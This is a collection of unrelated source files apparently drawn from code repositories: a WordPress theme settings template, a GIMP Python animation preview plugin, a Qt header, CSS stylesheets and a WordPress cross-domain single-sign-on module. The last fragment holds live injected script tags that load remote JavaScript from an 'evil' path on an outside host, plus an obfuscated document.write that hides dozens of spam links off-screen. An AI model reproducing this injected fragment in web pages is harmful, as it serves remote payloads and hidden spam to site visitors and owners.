<?php _e('Map Marker', 'javo_fr');?> <span class="description"> <?php _e('Please Upload Your Custom Map Marker Image.', 'javo_fr');?> </span> </th><td> <h4><?php _e('Marker Image', 'javo_fr');?></h4> <fieldset> <input type="text" name="javo_ts[map_marker]" value="<?php echo !empty($javo_theme_option['map_marker'])?$javo_theme_option['map_marker']:null?>" tar="map_marker"> <input type="button" class="button button-primary fileupload" value="Select Image" tar="map_marker"> <input class="fileuploadcancel button" tar="map_marker" value="Delete" type="button"> <p> <?php _e("Preview","javo_fr"); ?><br> <img src="<?php echo !empty($javo_theme_option['map_marker'])? $javo_theme_option['map_marker']:null;?>" tar="map_marker"> </p> </fieldset> </td></tr> <tr><th> <?php _e('Panel Color Setting', 'javo_fr');?> <span class="description"> <?php _e('customize panel color', 'javo_fr');?> </span> </th><td> <h4><?php _e('Panel Background Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_bg_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_bg_color']) ? $javo_theme_option['panel_bg_color'] : '#343433';?>" class="wp_color_picker" data-default-color="#343433"> </fieldset> <h4><?php _e('Panel Button Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_bt_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_bt_color']) ? $javo_theme_option['panel_bt_color'] : '#454545';?>" class="wp_color_picker" data-default-color="#454545"> </fieldset> <h4><?php _e('Panel Hide Button Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_hide_bt_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_hide_bt_color']) ? $javo_theme_option['panel_hide_bt_color'] : '#019DD7';?>" class="wp_color_picker" data-default-color="#019DD7"> </fieldset> <h4><?php _e('Panel Button Text Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_bt_text_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_bt_text_color']) ? $javo_theme_option['panel_bt_text_color'] : '#646464';?>" class="wp_color_picker" data-default-color="#646464"> </fieldset> <h4><?php _e('Panel Active Button Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_active_bt_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_active_bt_color']) ? $javo_theme_option['panel_active_bt_color'] : '#019DD7';?>" class="wp_color_picker" data-default-color="#019DD7"> </fieldset> <h4><?php _e('Panel Active Button and Hide Button Text Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_bt_active_text_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_bt_active_text_color']) ? $javo_theme_option['panel_bt_active_text_color'] : '#ffffff';?>" class="wp_color_picker" data-default-color="#ffffff"> </fieldset> <h4><?php _e('Panel Tile Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_title_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_title_color']) ? $javo_theme_option['panel_title_color'] : '#b7b7b7';?>" class="wp_color_picker" data-default-color="#b7b7b7"> </fieldset> <h4><?php _e('Panel Text Color.', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[panel_text_color]" type="text" value="<?php echo !empty($javo_theme_option['panel_text_color']) ? $javo_theme_option['panel_text_color'] : '#646464';?>" class="wp_color_picker" data-default-color="#646464"> </fieldset> </td></tr><tr><th> <?php _e('Map template Setup', 'javo_fr');?> <span class="description"> <?php _e('Default height. you can still setup on each pages.', 'javo_fr');?> </span> </th><td> <h4><?php _e('Default Map area height size', 'javo_fr');?> <a href="#TB_inline?width=600&height=700&inlineId=map-template-setup" class="thickbox"><img src="<?php echo JAVO_IMG_DIR; ?>/admin_zoom_in.png" class="zoom-icon"></a> </h4> <fieldset> <input name="javo_ts[map_default_height]" id="javo_map_size" value="<?php echo !empty($javo_theme_option['map_default_height']) ? (int)$javo_theme_option['map_default_height'] : 800;?>" type="text"><?php _e('px', 'javo_fr');?> </fieldset> </td></tr><tr><th> <?php _e('Info Window Setup', 'javo_fr');?> <span class="description"> <?php _e('Default height. you can still setup on each pages.', 'javo_fr');?> </span> </th><td> <h4><?php _e('Display Agent e-mail', 'javo_fr');?> <a href="#TB_inline?width=600&height=700&inlineId=map-info-window" class="thickbox"><img src="<?php echo JAVO_IMG_DIR; ?>/admin_zoom_in.png" class="zoom-icon"></a> </h4> <label> <input type="radio" name="javo_ts[hidden_agent_email]" value="" checked> <?php _e('Visible', 'javo_fr');?> </label> <label> <input type="radio" name="javo_ts[hidden_agent_email]" value="hidden" <?php checked(!empty($javo_theme_option['hidden_agent_email']) && $javo_theme_option['hidden_agent_email'] == "hidden");?>> <?php _e('Hidden', 'javo_fr');?> </label> </td></tr> </table> </div> <?php add_thickbox(); ?> <div id="map-panel-control" style="display:none;"> <p> <img src="<?php echo JAVO_IMG_DIR; ?>/backend-detail/map-panel-control.gif" style="width:100%;"> </p> </div> <div id="map-panel-control-search" style="display:none;"> <p> <img src="<?php echo JAVO_IMG_DIR; ?>/backend-detail/map-panel-control-search.gif" style="width:100%;"> </p> </div> <div id="map-filtering" style="display:none;"> <p> <img src="<?php echo JAVO_IMG_DIR; ?>/backend-detail/map-filtering.gif" style="width:100%;"> </p> </div> <div id="map-template-setup" style="display:none;"> <p> <img src="<?php echo JAVO_IMG_DIR; ?>/backend-detail/map-template-setup.gif" style="width:100%;"> </p> </div> <div id="map-info-window" style="display:none;"> <p> <img src="<?php echo JAVO_IMG_DIR; ?>/backend-detail/map-info-window.gif" style="width:100%;"> </p> </div>
deyan-yosifov/Experiamo
wp-content/themes/dpyExperia/library/admin/assets/theme-settings-map.php
PHP
gpl-2.0
14,990
#!/usr/bin/env python2 from gimpfu import * import time import re def preview (image, delay, loops, force_delay, ignore_hidden, restore_hide): if not image: raise "No image given." layers = image.layers nlayers = len (layers) visible = [] length = [] i = 0 while i < nlayers: visible += [pdb.gimp_item_get_visible (layers [i])] if visible [i]: pdb.gimp_item_set_visible (layers [i], False) name = pdb.gimp_item_get_name (layers [i]) l = None if not force_delay: l = re.search ("\([0-9]+ms\)", name) if l: l = tuple (map (sum, zip (l.span (), tuple ([+1, -3])))) l = name [slice (*l)] if not l: l = delay length += [float (l) / 1000.0] i += 1 j = 0 while j < loops: while i > 0: i -= 1 if (not ignore_hidden) or visible [i]: pdb.gimp_item_set_visible (layers [i], True) pdb.gimp_displays_flush () time.sleep (length [i]) j += 1 # unhides everything for optimized if j < loops: while i < nlayers: if (not ignore_hidden) or visible [i]: pdb.gimp_item_set_visible (layers [i], False) i += 1 else: i = nlayers i = nlayers if restore_hide: while i > 0: i -= 1 if visible [i]: pdb.gimp_item_set_visible (layers [i], True) register( "preview", "preview", "Preview the animation of a gif", "Roger Bongers", "Roger Bongers", "2016", "Preview...", "*", [ (PF_IMAGE, "image", "The image to modify", None), (PF_INT32, "delay", "The default length in ms of each frame", 100), (PF_INT32, "loops", "The number of times to loop the animation", 1), (PF_BOOL, "force-delay", "Force the default length on every frame", 0), (PF_BOOL, "ignore-hidden", "Ignore currently hidden items", 0), (PF_BOOL, "restore-hide", "Restore the hidden status after preview", 0), ], [], preview, menu = "<Image>/Filters/Animation") main()
rbong/gimptools
preview.py
Python
gpl-2.0
2,246
#ifndef TAGEDITOR_NETWORKACCESSMANAGER_H #define TAGEDITOR_NETWORKACCESSMANAGER_H #include <QtGlobal> QT_FORWARD_DECLARE_CLASS(QNetworkAccessManager) namespace Utility { QNetworkAccessManager &networkAccessManager(); } #endif // TAGEDITOR_NETWORKACCESSMANAGER_H
Martchus/tageditor
misc/networkaccessmanager.h
C
gpl-2.0
267
@media screen and (min-width: 376px) { #root-container { width: 100%; margin: 0 auto; } #home-cta-bg { background-position: center -300px; } } @media screen and (min-width: 768px) { #mobile-menu-container { display: none; } #nav-profile { display: none; } #home-cta-bg { height: 240px; } #main-menu { display: inline-block; } #main-menu li { display: inline-block; line-height: 44px; padding-left: 10px; } #menu-container { float: left; width: calc(50% - 145px); font-size: 13px; } #user-actions-desktop { float: right; width: calc(50% - 145px); display: block; color: white; font-size: 13px; height: 45px; line-height: 45px; } #user-actions-desktop li { display: inline-block; } #user-actions { display: inline-block; } #login-form { width: 300px; text-align: right; } #login-form .login-form-group { width: 140px; margin-right: 5px; } .item-box { width: 27%; display: inline-block; vertical-align: top; } .item-box h1 { height: 3.2em; } .owl-item img { width: 160px !important; } .validation-summary-errors { margin: 5%; color: red; height: auto; } .form { margin: auto; text-align: center; } .form .form-group { padding-top: 2px; text-align: center; /*Here can go more types*/ /*input[type=text], input[type=password] {*/ } .form .form-group .form-control { background-color: rgba(255, 225, 255, 0.01); margin: 10px auto; display: block; width: 40%; border: none; border-bottom: 1px solid #222; color: #CED2D4; font-size: medium; } .form .form-group .button { background-color: #333; width: 40%; font-size: large; margin: 10px auto; } #login-form { padding-top: 20px; padding-bottom: 20px; } #login-form .form-group .form-control { width: 100%; } #login-form .form-group .button { width: 100%; } #register-form { background-image: url(../gfx/background_image_blur.jpg); background-size: cover; padding-top: 10%; padding-bottom: 10%; } #register-form .reg-form-input-wrap { margin: 0 auto; width: 50%; /* Fallback */ background-color: #ace1af; /* RGBa with opacity */ background-color: rgba(67, 215, 206, 0.8); } /*Edit Profile Page*/ .edit_profile { width: 40%; } } @media screen and (min-width: 1024px) { #root-container { width: 960px; } #home-cta-bg { height: 320px; background-position: center -260px; } } @media screen and (min-width: 1440px) { #root-container { width: 1152px; } #menu-container { font-size: 1em; } #user-actions-desktop { font-size: 1em; } }
Ellmor/MySenseiRepo
MySensei/Content/css/responsive.css
CSS
gpl-2.0
2,843
@media (min-width:320px) { /* smartphones, iPhone, portrait 480x320 phones */ } @media (min-width:481px) { /* portrait e-readers (Nook/Kindle), smaller tablets @ 600 or @ 640 wide. */ } @media (min-width:641px) { /* portrait tablets, portrait iPad, landscape e-readers, landscape 800x480 or 854x480 phones */ } @media (min-width:961px) { /* tablet, landscape iPad, lo-res laptops ands desktops */ } @media (min-width:1025px) { /* big landscape tablets, laptops, and desktops */ } @media (min-width:1281px) { /* hi-res laptops and desktops */ } /* Mobile phones */ @media only screen and (max-device-width: 640px) { a.btn { font-size: 1em!important; white-space: normal; padding: 8px 10px; } } /* Desktop */ @media only screen and (min-device-width: 641px) { } h3.panel-title > div { vertical-align: middle; }
davidmroth/PartyBox
client/development/css/app.css
CSS
gpl-2.0
831
<?php // +----------------------------------------------------------------------+ // | Copyright Incsub (http://incsub.com/) | // +----------------------------------------------------------------------+ // | This program is free software; you can redistribute it and/or modify | // | it under the terms of the GNU General Public License, version 2, as | // | published by the Free Software Foundation. | // | | // | This program is distributed in the hope that it will be useful, | // | but WITHOUT ANY WARRANTY; without even the implied warranty of | // | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | // | GNU General Public License for more details. | // | | // | You should have received a copy of the GNU General Public License | // | along with this program; if not, write to the Free Software | // | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, | // | MA 02110-1301 USA | // +----------------------------------------------------------------------+ /** * The module responsible for cross domain single sign on. * * @category Domainmap * @package Module * * @since 4.0.2 */ class Domainmap_Module_Cdsso extends Domainmap_Module { const NAME = __CLASS__; const ACTION_KEY = '__domainmap_action'; const ACTION_SETUP_CDSSO = 'domainmap-setup-cdsso'; const ACTION_CHECK_LOGIN_STATUS = 'domainmap-check-login-status'; const ACTION_AUTHORIZE_USER = 'domainmap-authorize-user'; const ACTION_AUTHORIZE_USER_ASYNC = 'domainmap-authorize-user-async'; const ACTION_PROPAGATE_USER = 'domainmap-propagate-user'; const ACTION_LOGOUT_USER = 'domainmap-logout-user'; const SSO_ENDPOINT = 'dm-sso-endpoint'; /** * Determines whether we need to propagate user to the original blog or not. * * @since 4.1.2 * * @access private * @var boolean */ private $_do_propagation = false; /** * Determines whether we do logout process or not. * * @since 4.1.2 * * @access private * @var boolean */ private $_do_logout = false; /** * Whether to load the sso scripts asynchronously * * @since 4.2.1 * * @access private * @var bool */ private $_async = false; /** * Constructor. * * @since 4.0.2 * * @access public * @param Domainmap_Plugin $plugin The instance of the plugin class. */ public function __construct( Domainmap_Plugin $plugin ) { parent::__construct( $plugin ); $this->_async = $plugin->get_option("map_crossautologin_async"); $this->_add_filter( 'wp_redirect', 'add_logout_marker' ); $this->_add_filter( 'login_redirect', 'set_interim_login', 10, 3 ); $this->_add_filter( 'login_message', 'get_login_message' ); $this->_add_filter( 'login_url', 'update_login_url', 10, 2 ); $this->_add_action( 'login_init', 'reauthenticate_user', 10 ); $this->_add_action('wp_head', 'add_auth_script', 0 ); $this->_add_action( 'login_form_login', 'set_auth_script_for_login' ); $this->_add_action( 'wp_head', 'add_logout_propagation_script', 0 ); $this->_add_action( 'login_head', 'add_logout_propagation_script', 0 ); $this->_add_action( 'login_footer', 'add_propagation_script' ); $this->_add_action( 'wp_logout', 'set_logout_var' ); if( !$this->_async ){ $this->_add_action( 'plugins_loaded', 'authorize_user' ); } add_filter('init', array( $this, "add_query_var_for_endpoint" )); add_action('template_redirect', array( $this, 'dispatch_ajax_request' )); $this->_add_ajax_action( self::ACTION_LOGOUT_USER, 'logout_user', true, true ); $this->_add_ajax_action( self::ACTION_PROPAGATE_USER, 'propagate_user', true, true ); } /** * Adds hook for login_head action if user tries to login. * * @since 4.1.2 * @action login_form_login * * @access public */ public function set_auth_script_for_login() { $this->_add_action( 'login_head', 'add_auth_script', 0 ); } /** * Equalizes redirect_to domain name with login URL domain. * * @since 4.1.2.1 * @filter login_url 10 2 * * @param string $login_url The login URL. * @param string $redirect_to The redirect URL. * @return string Updated login URL. */ public function update_login_url( $login_url, $redirect_to ) { if( empty( $redirect_to ) ) return $login_url; $login_domain = parse_url( $login_url, PHP_URL_HOST ); $redirect_domain = parse_url( $redirect_to, PHP_URL_HOST ); if ( $login_domain != $redirect_domain ) { $redirect_to = str_replace( "://{$redirect_domain}", "://{$login_domain}", $redirect_to ); $login_url = esc_url_raw( add_query_arg( 'redirect_to', urlencode( $redirect_to ), $login_url ) ); } return $login_url; } /** * Sets logout var to determine logout process. * * @since 4.1.2 * @access wp_logout * * @access public */ public function set_logout_var() { $this->_do_logout = true; } /** * Adds logout marker if need be. * * @since 4.1.2 * @filter wp_redirect * * @access public * @param string $redirect_to The initial redirect URL. * @return string Updated redirect URL. */ public function add_logout_marker( $redirect_to ) { if ( $this->_do_logout ) { $redirect_to = esc_url_raw( add_query_arg( self::ACTION_KEY, self::ACTION_LOGOUT_USER, $redirect_to ) ); } return $redirect_to; } /** * Adds logout propagation script if need be. * * @since 4.1.2 * @action wp_head 0 * @action login_head 0 * * @access public */ public function add_logout_propagation_script() { if ( is_user_logged_in() || get_current_blog_id() == 1 || filter_input( INPUT_GET, self::ACTION_KEY ) != self::ACTION_LOGOUT_USER ) { return; } $url = add_query_arg( 'action', self::ACTION_LOGOUT_USER, $this->get_main_ajax_url() ); $this->_add_script( esc_url_raw( $url ) ); } /** * Do logout from the main blog. * * @since 4.1.2 * @action wp_ajax_domainmap-logout-user * @action wp_ajax_no_priv_domainmap-logout-user * * @access public */ public function logout_user() { header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) ); if ( !is_user_logged_in() || empty( $_SERVER['HTTP_REFERER'] ) ) { header( "Vary: Accept-Encoding" ); // Handle proxies header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + MINUTE_IN_SECONDS ) . " GMT" ); exit; } wp_destroy_all_sessions(); wp_clear_auth_cookie(); $url = add_query_arg( self::ACTION_KEY, false, $_SERVER['HTTP_REFERER'] ); echo 'window.location = "', esc_url_raw( $url ), '";'; exit; } /** * Sets interim login mode. * * @since 4.1.2 * @filter login_redirect 10 3 * * @access public * @global boolean $interim_login Determines whether to show interim login page or not. * @param string $redirect_to The redirection URL. * @param string $requested_redirect_to The initial redirection URL. * @param WP_User|WP_Error $user The user or error object. * @return string The income redirection URL. */ public function set_interim_login( $redirect_to, $requested_redirect_to, $user ) { global $interim_login; if ( is_a( $user, 'WP_User' ) && get_current_blog_id() != 1 ) { if ( $this->is_mapped_domain() || $this->is_subdomain() ) { $interim_login = $this->_do_propagation = true; } } return $redirect_to; } /** * Updates login message for interim login page. * * @since 4.1.2 * @filter login_message * * @access public * @param string $message The original message. * @return string The new extended login message. */ public function get_login_message( $message ) { return $this->_do_propagation ? '<p class="message">' . esc_html__( 'You have logged in successfully. You will be redirected to desired page during next 5 seconds.', 'domainmap' ) . '</p>' : $message; } /** * Adds propagation scripts at interim login page after successfull login. * * @since 4.1.2 * @access login_footer * * @access public * @global string $redirect_to The redirection URL. * @global WP_User $user Current user. */ public function add_propagation_script() { global $redirect_to, $user; if ( !$this->_do_propagation ) { return; } if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && !get_active_blog_for_user( $user->ID ) && !is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && !$user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( !$user->has_cap( 'edit_posts' ) ) { $redirect_to = admin_url( 'profile.php' ); } } ?> <script <?php echo $this->_async ? "async='true'" : ""; ?> type="text/javascript"> function domainmap_do_redirect() { window.location = "<?php echo $redirect_to ?>"; } setTimeout(domainmap_do_redirect, 5000); </script> <?php $url = add_query_arg( array( 'action' => self::ACTION_PROPAGATE_USER, 'auth' => wp_generate_auth_cookie( $user->ID, time() + MINUTE_IN_SECONDS ), ), $this->get_main_ajax_url() ); $this->_add_script( $url ); } /** * Adds authorization script to the current page header. (Subsite) * * @since 4.1.2 * @action wp_head 0 * @action login_head 0 * * @uses _add_auth_script_sync * @uses _add_auth_script_async * * @access public */ public function add_auth_script() { if ( is_user_logged_in() || 1 === get_current_blog_id() || filter_input( INPUT_GET, self::ACTION_KEY ) == self::ACTION_AUTHORIZE_USER || isset( $_POST["pwd"] ) || filter_input( INPUT_GET, self::ACTION_KEY ) == self::ACTION_LOGOUT_USER ) return; if($this->_async) $this->_add_auth_script_async(); else $this->_add_auth_script_sync(); } private function _add_auth_script_sync(){ $url = add_query_arg( 'dm_action', self::ACTION_SETUP_CDSSO, $this->_get_sso_endpoint_url() ); $this->_add_script( esc_url_raw( $url ) ); } private function _add_auth_script_async(){ $url = add_query_arg( array( 'dm_action' => self::ACTION_CHECK_LOGIN_STATUS, 'domain' => $_SERVER['HTTP_HOST'] , ), $this->_get_sso_endpoint_url() ); $this->_add_iframe( esc_url_raw( $url ) ); } /** * Setups CDSSO for logged in user. (sync) * * @since 4.1.2 * @action wp_ajax_domainmap-setup-cdsso * @action wp_ajax_nopriv_domainmap-setup-cdsso * * @access public */ public function setup_cdsso() { header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) ); if ( !is_user_logged_in() || empty( $_SERVER['HTTP_REFERER'] ) ) { header( "Vary: Accept-Encoding" ); // Handle proxies header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + ( 2 * MINUTE_IN_SECONDS ) ) . " GMT" ); exit; } $url = add_query_arg( array( self::ACTION_KEY => self::ACTION_AUTHORIZE_USER, 'auth' => wp_generate_auth_cookie( get_current_user_id(), time() + ( 2 * MINUTE_IN_SECONDS ) ), ), $_SERVER['HTTP_REFERER'] ); ?> window.location.replace("<?php echo esc_url_raw( $url ) ?>"); <?php exit; } /** * Prints sync javascript script * * @since 4.2.1 * * @access private * @param $url */ private function _add_script( $url ) { ?> <script type="text/javascript" src="<?php echo $url; ?>"></script> <?php } /** * Creates the endpoint to respond to the sso requests * * @since 4.3.1 * @param $vars * * @return array */ function add_query_var_for_endpoint($vars) { add_rewrite_endpoint( self::SSO_ENDPOINT, EP_ALL ); $vars[] = self::SSO_ENDPOINT; $this->_flush_rewrite_rules(); return $vars; } /** * Flushes rewrite rules if needed * * @since 4.3.1 */ function _flush_rewrite_rules(){ $key = domain_map::FLUSHED_REWRITE_RULES . get_current_blog_id(); if( !get_site_option( $key ) ){ flush_rewrite_rules(); update_site_option( $key , true); } } /** * Returns relevant endpoint url * * @since 4.3.1 * @param bool $subsite * @param null $domain * * @return string */ private function _get_sso_endpoint_url( $subsite = false, $domain = null){ global $wp_rewrite, $current_blog, $current_site;; $admin_scheme = is_ssl() ? "https://" : "http://"; if( $subsite ){ $domain = is_null( $domain ) ? $current_blog->domain : $domain; $url = $admin_scheme . $domain . "/"; }else{ $url = trailingslashit( network_home_url("/", $admin_scheme) ); } return $wp_rewrite->using_permalinks() ? $url . self::SSO_ENDPOINT . "/" . time() . "/" : $url . "?" . self::SSO_ENDPOINT . "=" . time() ; } /** * Dispatches ajax request to the relevant methods * * @since 4.3.1 */ function dispatch_ajax_request(){ global $wp_query; if( !isset( $wp_query->query_vars[ self::SSO_ENDPOINT ] ) ) return; define('DOING_AJAX', true); header('Content-Type: text/html'); send_nosniff_header(); header('Cache-Control: no-cache'); header('Pragma: no-cache'); if( isset( $_REQUEST["dm_action"] ) ){ $action = $_REQUEST["dm_action"]; }elseif( isset( $_REQUEST["q"] ) ){ $q = $_REQUEST["q"]; $parsed = parse_url($q ); if( isset( $parsed['query'] ) && strpos($parsed['query'], "dm_action") !== false ){ // if query is set $action = str_replace("dm_action=", "", $parsed['query']); }else{ $prefix = "?dm_action="; $pos = strpos( $q, $prefix ); $action = substr($q, $pos + strlen($prefix)); } } if( !empty( $action ) ){ $method = str_replace(array("domainmap-", "-"), array("", "_"), $action); if( method_exists("Domainmap_Module_Cdsso", $method) ) call_user_func(array($this, $method)); else wp_send_json_error( "Method " . $method . " not found" ); } exit; } /** * Checks login status of the user on the main site * * @uses authorize_user_async * @since 4.3.1 */ function check_login_status(){ header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) ); if ( !is_user_logged_in() ) { header( "Vary: Accept-Encoding" ); // Handle proxies header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + MINUTE_IN_SECONDS ) . " GMT" ); exit; } $domain_name = filter_input( INPUT_GET, 'domain' ); $admin_mapping = $this->_plugin->get_option("map_force_admin_ssl"); ?> // Starting Domain Mapping SSO <?php $args = array( "dm_action" => self::ACTION_AUTHORIZE_USER_ASYNC, 'auth' => wp_generate_auth_cookie( get_current_user_id(), time() + MINUTE_IN_SECONDS ), 'refresh' => 1 ); if( $admin_mapping ){ $args["refresh"] = 0; } $url = add_query_arg( $args, $this->_get_sso_endpoint_url( true, $domain_name ) ); $url = set_url_scheme( $url, "http" ); $this->_add_inner_iframe( esc_url_raw( $url ) ); if( $admin_mapping ){ // set user cookie for https as well and refresh $args["refresh"] = 1; $url = add_query_arg( $args, $this->_get_sso_endpoint_url( true, $domain_name ) ); $this->_add_inner_iframe( esc_url_raw( $url ) ); } } /** * Adds iframe * * * @since 4.4.0 * @param $url */ private function _add_iframe( $url ){ ?> <script type="text/javascript"> (function(window) { var document = window.document; var url = '<?php echo $url; ?>'; var iframe = document.createElement('iframe'); (iframe.frameElement || iframe).style.cssText = "width: 0; height: 0; border: 0"; iframe.src = "javascript:false"; var where = document.getElementsByTagName('script')[0]; where.parentNode.insertBefore(iframe, where); var doc = iframe.contentWindow.document; doc.open().write('<body onload="'+ 'var js = document.createElement(\'script\');'+ 'js.src = \''+ url +'\';'+ 'document.body.appendChild(js);">'); doc.close(); }(parent.window)); </script> <?php } /** * Adds iframe inside the parent iframe * * * @since 4.4.0 * @param $url */ private function _add_inner_iframe( $url ){ ?> (function(window) { var document = window.top.document; var url = '<?php echo $url; ?>'; var iframe = document.createElement('iframe'); (iframe.frameElement || iframe).style.cssText = "width: 0; height: 0; border: 0"; iframe.src = "javascript:false"; var where = document.getElementsByTagName('script')[0]; where.parentNode.insertBefore(iframe, where); var doc = iframe.contentWindow.document; doc.open().write('<body onload="'+ 'var js = document.createElement(\'script\');'+ 'js.src = \''+ url +'\';'+ 'document.body.appendChild(js);">'); doc.close(); }(parent.top.window)); <?php } /** * Sets auth cookie for the user on the subsite * Used by plugins_loaded action hook * * @since 4.2.1 */ function authorize_user() { if ( filter_input( INPUT_GET, self::ACTION_KEY ) == self::ACTION_AUTHORIZE_USER ) { $user_id = wp_validate_auth_cookie( filter_input( INPUT_GET, 'auth' ), 'auth' ); if ( $user_id ) { wp_set_auth_cookie( $user_id ); $redirect_to = in_array( $GLOBALS['pagenow'], array( 'wp-login.php' ) ) && filter_input( INPUT_GET, 'redirect_to', FILTER_VALIDATE_URL ) ? $_GET['redirect_to'] : add_query_arg( array( self::ACTION_KEY => false, 'auth' => false ) ); wp_redirect( esc_url_raw( $redirect_to ) ); exit; } else { wp_die( __( "Incorrect or out of date login key", 'domainmap' ) ); } } } /** * Sets auth cookie for the user on the subsite ( async ) * * @since 4.3.1 */ private function authorize_user_async(){ header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) ); $user_id = wp_validate_auth_cookie( filter_input( INPUT_GET, 'auth' ), 'auth' ); $refresh = filter_input( INPUT_GET, 'refresh' ); if ( $user_id ) { wp_set_auth_cookie( $user_id ); if( $refresh ){ ?> window.top.location.reload(); <?php } } } /** * Propagates user * * Logs in the user on the main site * * @since 4.3.1 * */ function propagate_user(){ header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) ); if ( get_current_blog_id() == 1 ) { $user_id = wp_validate_auth_cookie( filter_input( INPUT_GET, 'auth' ), 'auth' ); if ( $user_id ) { wp_set_auth_cookie( $user_id ); echo 'if (typeof domainmap_do_redirect === "function") domainmap_do_redirect();'; exit; } } exit; } /** * Reeuthenticates user * * It tries to reauth user if it is logged on the mapped domain and then lands in the * login page of the sub-site with the original domain * * @hook login_init * * @since 4.4.0.3 */ function reauthenticate_user(){ global $current_user, $redirect_to; if( !empty( $current_user->ID ) && !isset( $_REQUEST['loggedout'] ) && !isset( $_REQUEST['action'] ) ){ if( !isset( $redirect_to ) ) $redirect_to = $this->_get_reauthenticate_redirect_to(); wp_set_auth_cookie( $current_user->ID ); wp_redirect( $redirect_to ); exit(); } } /** * Returns $redirect_to variable on reauthentication * * * @since 4.4.0.7 * @return mixed|string|void */ private function _get_reauthenticate_redirect_to(){ $secure_cookie = false; // If the user wants ssl but the session is not ssl, force a secure cookie. if ( !empty($_POST['log']) && !force_ssl_admin() ) { $user_name = sanitize_user($_POST['log']); if ( $user = get_user_by('login', $user_name) ) { if ( get_user_option('use_ssl', $user->ID) ) { $secure_cookie = true; force_ssl_admin(true); } } } if ( isset( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; // Redirect to https if user wants ssl if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') ) $redirect_to = preg_replace('|^http://|', 'https://', $redirect_to); } else { $redirect_to = admin_url(); } return $redirect_to; } }
moveloaded/moveloaded
wp-content/plugins/domain-mapping/classes/Domainmap/Module/Cdsso.php
PHP
gpl-2.0
21,178
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script> <script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script> <a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a> <a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a> <a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a> <a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a> <a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a> <a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a> <a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a> <a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a> <a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a> <a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a> <a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a> <a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a> <a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a> <a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a> <a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a> <a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a> <a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a> <a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a> <a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a> <a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a> <a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a> <a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a> <a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a> <a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a> <a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a> <a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a> <a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a> <a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a> <a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a> <a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a> <a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a> <a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a> <a 